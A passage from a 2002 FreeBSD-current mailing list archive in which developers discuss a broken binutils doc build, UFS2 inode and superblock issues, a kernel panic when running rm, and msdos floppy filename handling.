> devfs               1       1       0   100%       0       0  100%   /dev
> /dev/ad0s3e   7185161 4473874 2136475    68%  227116 1574354   13%   /home
> /dev/ad0s2f   2787666 1668475  896178    65%  176288  522078   25%   /usr
> /dev/ad0s2e    254063   10456  223282     4%    1653   61833    3%   /var
> procfs              4       4       0   100%       1       0  100%   /proc
> linprocfs           4       4       0   100%       1       0  100%   /usr/compat/linux/proc
> /dev/ad0s1    3663652 2542176 1121476    69%       0       0  100%   /dos
> %
>
> Thanks in advance,
>   Haro
> =------------------------------------------------------------------------------
>            _ _    Munehiro (haro) Matsuda
>  -|- /_\  |_|_|   Business Incubation Dept., Kubota Corp.
>  /|\ |_|  |_|_|   1-3 Nihonbashi-Muromachi 3-Chome
>                   Chuo-ku Tokyo 103-8310, Japan
>                   Tel: +81-3-3245-3318  Fax: +81-3-3245-3315
>                   Email: haro@kubota.co.jp
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message
>

-- 
                                           _ __ ___ ____  ___ ___ ___
          Wesley N Morgan                       _ __ ___ | _ ) __|   \
          morganw@chemikals.org                     _ __ | _ \._ \ |) |
          FreeBSD: The Power To Serve                  _ |___/___/___/
Hi! I'm a .signature virus! Copy me into your ~/.signature to help me spread!


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22  9:59:49 2002
Delivered-To: freebsd-current@freebsd.org
Received: from troutmask.apl.washington.edu (troutmask.apl.washington.edu [128.208.78.105])
	by hub.freebsd.org (Postfix) with ESMTP id D4B6A37B401
	for <freebsd-current@freebsd.org>; Sat, 22 Jun 2002 09:59:44 -0700 (PDT)
Received: from troutmask.apl.washington.edu (localhost [127.0.0.1])
	by troutmask.apl.washington.edu (8.12.4/8.12.4) with ESMTP id g5MGxiBM045992
	for <freebsd-current@freebsd.org>; Sat, 22 Jun 2002 09:59:44 -0700 (PDT)
	(envelope-from sgk@troutmask.apl.washington.edu)
Received: (from sgk@localhost)
	by troutmask.apl.washington.edu (8.12.4/8.12.4/Submit) id g5MGxiPU045991
	for freebsd-current@freebsd.org; Sat, 22 Jun 2002 09:59:44 -0700 (PDT)
Date: Sat, 22 Jun 2002 09:59:44 -0700
From: Steve Kargl <sgk@troutmask.apl.washington.edu>
To: freebsd-current@freebsd.org
Subject: binutils doc still broken
Message-ID: <20020622095944.A45867@troutmask.apl.washington.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

sp.info > gasp.info.gz
ln -sf /usr/src/gnu/usr.bin/binutils/doc/../../../../contrib/gdb/gdb/doc/\
all-cfg.texi gdb-cfg.texi
make: don't know how to make remote.texi. Stop

remote.texi does not exist in /usr/src.

The obvious fix of removing remote.texi from the Makefile
doesn't work because of

/usr/src/gnu/usr.bin/binutils/doc/../../../../contrib/gdb/gdb/doc/\
gdb.texinfo:8824: @include `remote.texi': No such file or directory.
makeinfo: Removing output file `gdb.info' due to errors; use --force to\
preserve.

-- 
Steve

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22 10: 5:43 2002
Delivered-To: freebsd-current@freebsd.org
Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169])
	by hub.freebsd.org (Postfix) with ESMTP id 145CD37B401
	for <freebsd-current@freebsd.org>; Sat, 22 Jun 2002 10:05:39 -0700 (PDT)
Received: from dragon.nuxi.com (obrien@localhost [127.0.0.1])
	by dragon.nuxi.com (8.12.3/8.12.2) with ESMTP id g5MH5cP8052964;
	Sat, 22 Jun 2002 10:05:38 -0700 (PDT)
	(envelope-from obrien@dragon.nuxi.com)
Received: (from obrien@localhost)
	by dragon.nuxi.com (8.12.4/8.12.3/Submit) id g5MH5cZ5052963;
	Sat, 22 Jun 2002 10:05:38 -0700 (PDT)
Date: Sat, 22 Jun 2002 10:05:38 -0700
From: "David O'Brien" <obrien@freebsd.org>
To: Steve Kargl <sgk@troutmask.apl.washington.edu>
Cc: freebsd-current@freebsd.org
Subject: Re: binutils doc still broken
Message-ID: <20020622100538.A52881@dragon.nuxi.com>
Reply-To: obrien@freebsd.org
References: <20020622095944.A45867@troutmask.apl.washington.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020622095944.A45867@troutmask.apl.washington.edu>; from sgk@troutmask.apl.washington.edu on Sat, Jun 22, 2002 at 09:59:44AM -0700
X-Operating-System: FreeBSD 5.0-CURRENT
Organization: The NUXI BSD group
X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3  90 76 5D 69 58 D9 98 7A
X-Pgp-Rsa-Keyid: 1024/34F9F9D5
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Sat, Jun 22, 2002 at 09:59:44AM -0700, Steve Kargl wrote:
> make: don't know how to make remote.texi. Stop
> remote.texi does not exist in /usr/src.
> 
> The obvious fix of removing remote.texi from the Makefile
> doesn't work because of

I just took a larger hammer and just turned off docs.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22 11:25:26 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mx3.datanet.hu (mx3.datanet.hu [194.149.13.160])
	by hub.freebsd.org (Postfix) with ESMTP id F379C37B400
	for <freebsd-current@FreeBSD.ORG>; Sat, 22 Jun 2002 11:25:22 -0700 (PDT)
Received: from fonix.adamsfamily.xx (nilus-199.adsl.datanet.hu [195.56.48.199])
	by mx3.datanet.hu (DataNet) with ESMTP id 0EAAA1E9E4E
	for <freebsd-current@FreeBSD.ORG>; Sat, 22 Jun 2002 20:25:21 +0200 (CEST)
Received: from fonix.adamsfamily.xx (localhost [127.0.0.1])
	by fonix.adamsfamily.xx (8.12.4/8.12.4) with ESMTP id g5MIQh7A000798
	for <freebsd-current@FreeBSD.ORG>; Sat, 22 Jun 2002 20:26:43 +0200 (CEST)
	(envelope-from sziszi@bsd.hu)
Received: (from cc@localhost)
	by fonix.adamsfamily.xx (8.12.4/8.12.4/Submit) id g5MIQhwK000797
	for freebsd-current@FreeBSD.ORG; Sat, 22 Jun 2002 20:26:43 +0200 (CEST)
X-Authentication-Warning: fonix.adamsfamily.xx: cc set sender to sziszi@bsd.hu using -f
Date: Sat, 22 Jun 2002 20:26:43 +0200
From: Szilveszter Adam <sziszi@bsd.hu>
To: freebsd-current@FreeBSD.ORG
Subject: Re: binutils doc still broken
Message-ID: <20020622182643.GA728@fonix.adamsfamily.xx>
Mail-Followup-To: Szilveszter Adam <sziszi@bsd.hu>,
	freebsd-current@FreeBSD.ORG
References: <20020622095944.A45867@troutmask.apl.washington.edu> <20020622100538.A52881@dragon.nuxi.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20020622100538.A52881@dragon.nuxi.com>
User-Agent: Mutt/1.3.99i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Sat, Jun 22, 2002 at 10:05:38AM -0700, David O'Brien wrote:
> On Sat, Jun 22, 2002 at 09:59:44AM -0700, Steve Kargl wrote:
> > make: don't know how to make remote.texi. Stop
> > remote.texi does not exist in /usr/src.
> > 
> > The obvious fix of removing remote.texi from the Makefile
> > doesn't work because of
> 
> I just took a larger hammer and just turned off docs.

FWIW, I solved the problem by reanimating remote.texi from the Attic, to
where it was relegated with the message that it did not make it into GDB
5.0. But of course it needs sorting out.

-- 
Regards:

Szilveszter ADAM
Szombathely Hungary

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22 11:29:59 2002
Delivered-To: freebsd-current@freebsd.org
Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.86.163])
	by hub.freebsd.org (Postfix) with ESMTP id F37C937B403
	for <freebsd-current@FreeBSD.ORG>; Sat, 22 Jun 2002 11:29:54 -0700 (PDT)
Received: from critter.freebsd.dk (localhost [127.0.0.1])
	by critter.freebsd.dk (8.12.3/8.12.2) with ESMTP id g5MIRwCn020645;
	Sat, 22 Jun 2002 20:28:00 +0200 (CEST)
	(envelope-from phk@critter.freebsd.dk)
To: Munehiro Matsuda <haro@h4.dion.ne.jp>
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: UFS2 related message? 
In-Reply-To: Your message of "Sat, 22 Jun 2002 20:45:01 +0900."
             <20020622204501P.haro@h4.dion.ne.jp> 
Date: Sat, 22 Jun 2002 20:27:58 +0200
Message-ID: <20644.1024770478@critter.freebsd.dk>
From: Poul-Henning Kamp <phk@critter.freebsd.dk>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

In message <20020622204501P.haro@h4.dion.ne.jp>, Munehiro Matsuda writes:
>Hello all,
>
>After the import of UFS2 patch into -current, I get the following messages.
>
>pid 397 (perl), uid 123 inumber 682496 on /home: out of inodes
>pid 397 (perl), uid 123 inumber 682496 on /home: out of inodes
>pid 397 (perl), uid 123 inumber 682496 on /home: out of inodes
>
>Is it related to UFS2 by anyway?

Yes, this seems to be related to UFS2.

Please send an email to kirk@mckusick.com with the output of
dumpfs from that partition (or upload the file and send him
the URL)

Please also tell him if you ran any of the posted versions of the
UFS2 patch or not.

-- 
Poul-Henning Kamp       | UNIX since Zilog Zeus 3.20
phk@FreeBSD.ORG         | TCP/IP since RFC 956
FreeBSD committer       | BSD since 4.3-tahoe    
Never attribute to malice what can adequately be explained by incompetence.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22 11:42:58 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mx1.datanet.hu (mx1.datanet.hu [194.149.13.165])
	by hub.freebsd.org (Postfix) with ESMTP id 136F337B401
	for <freebsd-current@freebsd.org>; Sat, 22 Jun 2002 11:42:53 -0700 (PDT)
Received: from fonix.adamsfamily.xx (nilus-199.adsl.datanet.hu [195.56.48.199])
	by mx1.datanet.hu (DataNet) with ESMTP id 54D4726A7C6
	for <freebsd-current@freebsd.org>; Sat, 22 Jun 2002 20:42:51 +0200 (CEST)
Received: from fonix.adamsfamily.xx (localhost [127.0.0.1])
	by fonix.adamsfamily.xx (8.12.4/8.12.4) with ESMTP id g5MIiE7A000869
	for <freebsd-current@freebsd.org>; Sat, 22 Jun 2002 20:44:14 +0200 (CEST)
	(envelope-from sziszi@bsd.hu)
Received: (from cc@localhost)
	by fonix.adamsfamily.xx (8.12.4/8.12.4/Submit) id g5MIiEKF000868
	for freebsd-current@freebsd.org; Sat, 22 Jun 2002 20:44:14 +0200 (CEST)
X-Authentication-Warning: fonix.adamsfamily.xx: cc set sender to sziszi@bsd.hu using -f
Date: Sat, 22 Jun 2002 20:44:13 +0200
From: Szilveszter Adam <sziszi@bsd.hu>
To: freebsd-current@freebsd.org
Subject: Kernel panic with suser_cred and rm
Message-ID: <20020622184413.GB728@fonix.adamsfamily.xx>
Mail-Followup-To: Szilveszter Adam <sziszi@bsd.hu>,
	freebsd-current@freebsd.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.99i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Hello everybody,

I upgraded to today's -CURRENT and upon reboot with the new kernel,
experienced a panic. Since I did not see it reported here yet, here is
some info. More available on request, but I do not have a serial console
and therefore had to transcribe everything by hand. Also, there was no
core dump. (How can I force it?)

Fatal trap 12: page fault while in kernel mode
fault virtual address = 0x4
fault code = supervisor read, page not present
instruction pointer = 0x8:0xc02054bc
stack pointer = 0x10:0xceb1db5c
frame pointer = 0x10:0xceb1db60
code segment = base 0x0, limit 0xfffff, type 0x1b
             = DPL 0, pres 1, def32 1, gran 1
processor eflags = interrupt enabled, resume, IOPL = 0
current process = 48 (rm)
kernel: type 12 trap, code= 0
Stopped at      suser_cred+0x1c:    cmpl     $0,0x4(%edx)

db> trace
suser_cred
chkiq
ufs_inactive
ufs_vnoperate
vput
unlink
syscall
syscall_with_err_pushed
--- syscall (10, FreeBSD ELF, unlink) eip = 0x804af7b, esp = 0xbfbffc7c 
    ebp = 0xbfbffd08

db> show locks
exclusive sleep mutex Giant r= 0 (0xc03ed260) locked @
../../../vm/vm_fault.c:202

FreeBSD fonix.adamsfamily.xx 5.0-CURRENT FreeBSD 5.0-CURRENT #46: Sat Jun 15 17:57:46 CEST 2002     root@fonix.adamsfamily.xx:/usr/home/cc/build/freebsd/src/sys/i386/compile/FONIX  i386

dmesg is not available from the failing kernel, but the only "could
sleep with..." messages came from the soundcard driver.

The panic happens also in single-user mode, in my case most easily
triggered with the use of rm(1).

If you need any more info, just ask. 

-- 
Regards:

Szilveszter ADAM
Szombathely Hungary

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22 11:44:35 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16])
	by hub.freebsd.org (Postfix) with ESMTP
	id DC3AA37B406; Sat, 22 Jun 2002 11:44:30 -0700 (PDT)
Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102])
	by mailman.zeta.org.au (8.9.3/8.8.7) with ESMTP id EAA26195;
	Sun, 23 Jun 2002 04:44:29 +1000
Date: Sun, 23 Jun 2002 04:49:29 +1000 (EST)
From: Bruce Evans <bde@zeta.org.au>
X-X-Sender: bde@gamplex.bde.org
To: "David O'Brien" <obrien@FreeBSD.ORG>
Cc: Steve Kargl <sgk@troutmask.apl.washington.edu>,
	<freebsd-current@FreeBSD.ORG>
Subject: Re: binutils doc still broken
In-Reply-To: <20020622100538.A52881@dragon.nuxi.com>
Message-ID: <20020623044829.T9398-100000@gamplex.bde.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Sat, 22 Jun 2002, David O'Brien wrote:

> On Sat, Jun 22, 2002 at 09:59:44AM -0700, Steve Kargl wrote:
> > make: don't know how to make remote.texi. Stop
> > remote.texi does not exist in /usr/src.
> >
> > The obvious fix of removing remote.texi from the Makefile
> > doesn't work because of
>
> I just took a larger hammer and just turned off docs.

I worked around this locally by checking out the old version of remote.texi.
It was live in gdb.291 but is dead in gdb.

Bruce


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22 12:37:21 2002
Delivered-To: freebsd-current@freebsd.org
Received: from beastie.mckusick.com (beastie.mckusick.com [209.31.233.184])
	by hub.freebsd.org (Postfix) with ESMTP id 105A837B406
	for <current@freebsd.org>; Sat, 22 Jun 2002 12:37:14 -0700 (PDT)
Received: from beastie.mckusick.com (localhost [127.0.0.1])
	by beastie.mckusick.com (8.12.3/8.12.3) with ESMTP id g5MJb4n9024400;
	Sat, 22 Jun 2002 12:37:04 -0700 (PDT)
	(envelope-from mckusick@beastie.mckusick.com)
Message-Id: <200206221937.g5MJb4n9024400@beastie.mckusick.com>
To: current@freebsd.org
Subject: Re: you should probably track current@ these days... 
Cc: Poul-Henning Kamp <phk@critter.freebsd.dk>
In-Reply-To: Your message of "Sat, 22 Jun 2002 20:58:28 +0200."
             <26402.1024772308@critter.freebsd.dk> 
Date: Sat, 22 Jun 2002 12:37:04 -0700
From: Kirk McKusick <mckusick@beastie.mckusick.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

	Date: Sat, 22 Jun 2002 07:49:17 -0700 (PDT)
	From: David Wolfskill <david@catwhisker.org>
	To: mckusick@freebsd.org, phk@freebsd.org
	Subject: UFS2, superblocks, and UFS compatability

	I had noted phk's message about Kirk's "commitatron" being
	readied for action; I was, however, slightly surprised by
	some of the results of yesterday's (daily) build of -CURRENT.

	I had expected (and a quick, ex post facto, look at Kirk's
	commit message confirms) that the intent was to maintain
	compatability with UFS1.

	What surprised me was that after building yesterday's
	-CURRENT successfully (actually, without incident at all),
	I poked around a bit, then re-booted to -STABLE.  (I'm
	tracking both -STABLE and -CURRENT on the same physical
	disk, using different slices.  Although I build -CURRENT
	daily, and do some "reality checks," I still do the bulk
	of the work with the machines in question -- such as anything
	that updates the CVS repository -- in -STABLE.  This probably
	reflects a rather conservative nature on my part.)  The
	"surprise" was that -STABLE's fsck was rather expressively
	unhappy about the file systems that had been mounted while
	running -CURRENT.

	In particular, STABLE's fsck claimed that the superblock
	for each such file system was corrupt.

	I found (empirically) that running fsck (and allowing it
	to recover the superblock from the backup superblock at 32)
	for each of these files systems, then rebooting, made STABLE
	much less unhappy.  :-}

	The -CURRENT code appears to be able to use a UFS1 file
	system OK -- I was able to boot back to -CURRENT again in
	preparation for building today's -CURRENT -- but it appears
	to me (and I haven't looked at the code to verify this)
	that something in the superblock is getting updated in a
	way that isn't completely compatable with UFS1, at least
	if the file system is updated.

	If this is intended, mention of it in UPDATING might be
	useful.  If it's not, I'll be happy to help narrow down
	where things go awry and test the results of (proposed)
	patches.  (Whether they are patches to -CURRENT, -STABLE,
	or both.)

	Cheers,
	david
	-- 
	David H. Wolfskill				david@catwhisker.org
	Trying to support or use Microsoft products makes about as much sense
	as painting the outside of a house with watercolors.

My hope was that you would be able to switch painlessly between
new and old systems. To make this work, I made a change to fsck
on April 7th:

    RCS file: /usr/ncvs/src/sbin/fsck_ffs/setup.c,v:

    revision 1.30
    date: 2002/04/07 05:16:33;  author: mckusick;  state: Exp;  lines: +25 -61
    When checking the alternate superblock, we used to copy any fields
    that might have changed, then did a byte-by-byte comparison with
    the alternate. If any unused fields got used, they had to be added
    to the exception list. Such changes caused too many false alarms.
    So, I have changed the comparison algorithm to compare a selected
    set of fields that are not expected to change. This new algorithm
    causes far fewer false hits and still does a good job of detecting
    problems when they have really occurred. In particular, this change
    should ease the transition to kernels supporting UFS2 which make
    some significant changes to the superblock.

    Sponsored by:   DARPA, NAI Labs

This was supposed to get MFC'ed back to 4.X, though I am not sure if
that ever happened. Because of the breakup of fsck into fsck and fsck_ffs
I am not sure how one goes back and makes changes to whet used to be
fsck/setup.c. Anyway, if your fsck_ffs is running with a copy of setup.c
that predates this change, then it will bitch about the superblock being
corrupted and recover by using the first alternate. You can avoid the
bitching by using `fsck -b16 ...' to override the integrity check.
Given that you have had the problem, I expect that others will as well,
so I will make a note in the UPDATING notes to suggest the use of
`fsck -b16 ...' when going back to using filesystems on 4.X systems.

	Kirk McKusick

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22 13:40:56 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mailout08.sul.t-online.com (mailout08.sul.t-online.com [194.25.134.20])
	by hub.freebsd.org (Postfix) with ESMTP id 0D24337B403
	for <current@freebsd.org>; Sat, 22 Jun 2002 13:40:53 -0700 (PDT)
Received: from fwd06.sul.t-online.de 
	by mailout08.sul.t-online.com with smtp 
	id 17Lrgf-0001hf-09; Sat, 22 Jun 2002 22:40:49 +0200
Received: from twoflower.liebende.de (320072111332-0001@[217.80.127.28]) by fwd06.sul.t-online.com
	with esmtp id 17Lrge-0LxA5gC; Sat, 22 Jun 2002 22:40:48 +0200
Subject: Floppy only 8.3 filenames
From: Jan.Stocker@t-online.de (Jan Stocker)
Reply-To: Jan.Stocker@t-online.de
To: current@FreeBSD.org
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Ximian Evolution 1.0.7 
Date: 22 Jun 2002 22:39:15 +0200
Message-Id: <1024778356.423.55.camel@twoflower>
Mime-Version: 1.0
X-Sender: 320072111332-0001@t-dialin.net
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Hi,
i am sure on my old 4.x system i was able to mount my floppy-disc and
can use long filenames, but on my -current

mount -t msdos /dev/fd0 /mnt

leads to 8.3 lowercase
and 

mount -t msdos /dev/fd0c /mnt

the first time to 8.3 uppercase and the following to 8.3 lowercase...

Does my mind playing with me???

Jan




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22 13:48:54 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.theapt.org (theapt.org [208.201.244.166])
	by hub.freebsd.org (Postfix) with SMTP id CC96537B400
	for <current@FreeBSD.org>; Sat, 22 Jun 2002 13:48:49 -0700 (PDT)
Received: (qmail 1525 invoked from network); 22 Jun 2002 20:48:45 -0000
Received: from leela.theapt.org (208.201.244.160)
  by 0 with SMTP; 22 Jun 2002 20:48:45 -0000
Content-Type: text/plain;
  charset="iso-8859-1"
From: Peter Hessler <phessler@theapt.org>
Reply-To: phessler@theapt.org
To: Jan.Stocker@t-online.de, current@FreeBSD.org
Subject: Re: Floppy only 8.3 filenames
Date: Sat, 22 Jun 2002 13:48:50 -0700
X-Mailer: KMail [version 1.4]
References: <1024778356.423.55.camel@twoflower>
In-Reply-To: <1024778356.423.55.camel@twoflower>
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Message-Id: <200206221348.50321.phessler@theapt.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

MS-DOS can only handle 8.3 file names.  It's by design (MS not FreeBSD).


/snip/
> mount -t msdos /dev/fd0 /mnt
            ^^^^^^^^
/snip/

--=20
Peter Hessler
<phessler@theapt.org>

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22 13:52:51 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mailout02.sul.t-online.com (mailout02.sul.t-online.com [194.25.134.17])
	by hub.freebsd.org (Postfix) with ESMTP id 8051A37B404
	for <current@freebsd.org>; Sat, 22 Jun 2002 13:52:49 -0700 (PDT)
Received: from fwd05.sul.t-online.de 
	by mailout02.sul.t-online.com with smtp 
	id 17Lrs1-0003oA-02; Sat, 22 Jun 2002 22:52:33 +0200
Received: from twoflower.liebende.de (320072111332-0001@[217.80.127.28]) by fwd05.sul.t-online.com
	with esmtp id 17Lrrp-0umK6yC; Sat, 22 Jun 2002 22:52:21 +0200
Subject: Re: Floppy only 8.3 filenames
From: Jan.Stocker@t-online.de (Jan Stocker)
Reply-To: Jan.Stocker@t-online.de
To: phessler@theapt.org
Cc: current@FreeBSD.ORG
In-Reply-To: <200206221348.50321.phessler@theapt.org>
References: <1024778356.423.55.camel@twoflower> 
	<200206221348.50321.phessler@theapt.org>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Ximian Evolution 1.0.7 
Date: 22 Jun 2002 22:50:49 +0200
Message-Id: <1024779050.423.58.camel@twoflower>
Mime-Version: 1.0
X-Sender: 320072111332-0001@t-dialin.net
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

/dev/ad0s1              /dos            msdos   rw              0      0

looks quite longfilenamed on my FAT32 slice since ages...

On Sat, 2002-06-22 at 22:48, Peter Hessler wrote:
> MS-DOS can only handle 8.3 file names.  It's by design (MS not FreeBSD).
> 
> 
> /snip/
> > mount -t msdos /dev/fd0 /mnt
>             ^^^^^^^^
> /snip/
> 
> -- 
> Peter Hessler
> <phessler@theapt.org>
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22 14: 7:20 2002
Delivered-To: freebsd-current@freebsd.org
Received: from tank.siteone.net (tank.siteone.net [146.145.78.19])
	by hub.freebsd.org (Postfix) with SMTP id EB6AA37B422
	for <current@FreeBSD.org>; Sat, 22 Jun 2002 14:06:49 -0700 (PDT)
Received: (qmail 36371 invoked by uid 0); 22 Jun 2002 21:09:54 -0000
Received: from bgp488062bgs.summit01.nj.comcast.net (HELO briandesk) (68.37.188.170)
  by smtp.siteone.net with SMTP; 22 Jun 2002 21:09:54 -0000
Message-ID: <004b01c21a30$cb68a360$0e00000a@briandesk>
From: "Brian K. White" <brian@aljex.com>
To: <current@FreeBSD.org>
References: <1024778356.423.55.camel@twoflower> <200206221348.50321.phessler@theapt.org> <1024779050.423.58.camel@twoflower>
Subject: Re: Floppy only 8.3 filenames
Date: Sat, 22 Jun 2002 17:07:18 -0400
Organization: Aljex Software
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


----- Original Message -----
From: "Jan Stocker" <Jan.Stocker@t-online.de>
To: <phessler@theapt.org>
Cc: <current@FreeBSD.ORG>
Sent: Saturday, June 22, 2002 4:50 PM
